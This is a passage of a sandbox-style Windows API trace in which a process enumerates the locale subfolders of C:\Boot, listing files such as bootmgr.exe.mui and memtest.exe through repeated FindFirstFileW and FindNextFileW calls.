cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0047.066] FindClose (in: hFindFile=0x592fe0 | out: hFindFile=0x592fe0) returned 1 [0047.066] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11e6fc0 | out: hHeap=0xb80000) returned 1 [0047.066] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0047.066] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*", lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x592fe0 [0047.067] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.067] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.067] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0047.067] FindClose (in: hFindFile=0x592fe0 | out: hFindFile=0x592fe0) returned 1 [0047.067] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11e6fc0 | out: hHeap=0xb80000) returned 1 [0047.067] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x44, dwReserved1=0x44, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0047.067] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0047.067] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*", lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x592fe0 [0047.068] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.068] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.068] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0047.068] FindClose (in: hFindFile=0x592fe0 | out: hFindFile=0x592fe0) returned 1 [0047.068] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11e6fc0 | out: hHeap=0xb80000) returned 1 [0047.068] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0047.068] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*", lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x592fe0 [0047.069] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.069] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.070] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0047.070] FindClose (in: hFindFile=0x592fe0 | out: hFindFile=0x592fe0) returned 1 [0047.070] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11e6fc0 | out: hHeap=0xb80000) returned 1 [0047.070] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0047.070] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*", lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x592fe0 [0047.070] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.070] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.070] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0047.071] FindClose (in: hFindFile=0x592fe0 | out: hFindFile=0x592fe0) returned 1 [0047.071] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11e6fc0 | out: hHeap=0xb80000) returned 1 [0047.071] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0047.071] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*", lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x592fe0 [0047.072] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.072] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.072] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0047.072] FindClose (in: hFindFile=0x592fe0 | out: hFindFile=0x592fe0) returned 1 [0047.072] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11e6fc0 | out: hHeap=0xb80000) returned 1 [0047.072] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0047.072] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*", lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x592fe0 [0047.073] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.073] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.073] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0047.073] FindClose (in: hFindFile=0x592fe0 | out: hFindFile=0x592fe0) returned 1 [0047.073] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11e6fc0 | out: hHeap=0xb80000) returned 1 [0047.073] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0047.073] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*", lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x592fe0 [0047.074] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.074] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.074] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0047.074] FindClose (in: hFindFile=0x592fe0 | out: hFindFile=0x592fe0) returned 1 [0047.081] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11e6fc0 | out: hHeap=0xb80000) returned 1 [0047.081] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0047.081] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*", lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x592fe0 [0047.082] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0047.082] FindClose (in: hFindFile=0x592fe0 | out: hFindFile=0x592fe0) returned 1 [0047.082] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11e6fc0 | out: hHeap=0xb80000) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0047.082] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*", lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x592fe0 [0047.085] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c 